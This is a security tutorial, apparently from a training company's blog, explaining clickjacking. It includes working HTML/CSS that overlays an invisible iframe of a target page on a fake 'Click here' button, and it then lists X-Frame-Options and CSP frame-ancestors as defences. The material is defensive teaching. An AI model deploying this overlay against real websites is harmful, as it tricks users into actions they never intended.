Clickjacking, also known as UI Redressing, is a technique that tricks users into clicking on unintended elements on a website. By using hidden elements, attackers deceive users into performing actions that they did not intend to carry out.
How Does Clickjacking Work?
Iframes are HTML elements that allow the embedding of external content within the current page. By using iframes, attackers can create a “frame” around content and manipulate users into interacting with malicious elements.
In a typical clickjacking attack, the attacker creates a transparent iframe containing a legitimate webpage and places it over a seemingly innocuous element, such as a button, on their malicious website. When a user interacts with the seemingly innocuous element, they are actually interacting with the invisible iframe, causing them to perform an unintended action on the legitimate website.
What Does an Attack Look Like?
First, an attacker may create an innocuous button or link on their site.
<!DOCTYPE html>
<html>
<head>
<style>
.fake-button {
display: inline-block;
background-color: blue;
color: white;
padding: 15px;
cursor: pointer;
}
</style>
</head>
<body>
<div class="fake-button">Click here</div>
<!-- The iframe will be added here later -->
</body>
</html>
Next, the attacker embeds a transparent iframe containing the legitimate website and positions it directly over the fake button.
The opacity property it used to make the iframe transparent, and z-index is used to position it on top of the the button. So when a user clicks on the fake button, they are actually interacting with the iframe.
<!DOCTYPE html>
<html>
<head>
<style>
.fake-button {
display: inline-block;
background-color: blue;
color: white;
padding: 15px;
cursor: pointer;
}
.iframe-container {
position: relative;
}
.clickjack-iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
z-index: 1;
}
</style>
</head>
<body>
<div class="iframe-container">
<div class="fake-button">Click here</div>
<iframe src="https://www.example-legitimate-website.com/like-button" class="clickjack-iframe"></iframe>
</div>
</body>
</html>
How Do We Protect Web Applications Against Clickjacking?
To protect against Clickjacking attacks, developers should consider using the headers X-Frame-Options and Content Security Policy (CSP).
When using CSP frame-ancestors ‘self’ will only attack a page to be framed by other pages of the same origin, and frame-ancestors ‘none’ will prevent framing entirely.
About the Author: Alex Olsen
Alex is a Web Application Security specialist with experience working across multiple sectors, from single-developer applications all the way up to enterprise web apps with tens of millions of users. He enjoys building applications almost as much as breaking them and has spent many years supporting the shift-left movement by teaching developers, infrastructure engineers, architects, and anyone who would listen about cybersecurity. He created many of the web hacking courses in TCM Security Academy, as well as the PJWT and PWPT certifications.
Alex holds a Master’s Degree in Computing, as well as the PNPT, CEH, and OSCP certifications.
About TCM Security
TCM Security is a veteran-owned, cybersecurity services and education company founded in Charlotte, NC. Our services division has the mission of protecting people, sensitive data, and systems. With decades of combined experience, thousands of hours of practice, and core values from our time in service, we use our skill set to secure your environment. The TCM Security Academy is an educational platform dedicated to providing affordable, top-notch cybersecurity training to our individual students and corporate clients including both self-paced and instructor-led online courses as well as custom training solutions. We also provide several vendor-agnostic, practical hands-on certification exams to ensure proven job-ready skills to prospective employers.
Pentest Services: https://tcmdev.tcmsecurity.com/our-services/
Follow Us: Blog | LinkedIn | YouTube | Twitter | Facebook | Instagram
Contact Us: sales@tcm-sec.com
See How We Can Secure Your Assets
Let’s talk about how TCM Security can solve your cybersecurity needs. Give us a call, send us an e-mail, or fill out the contact form below to get started.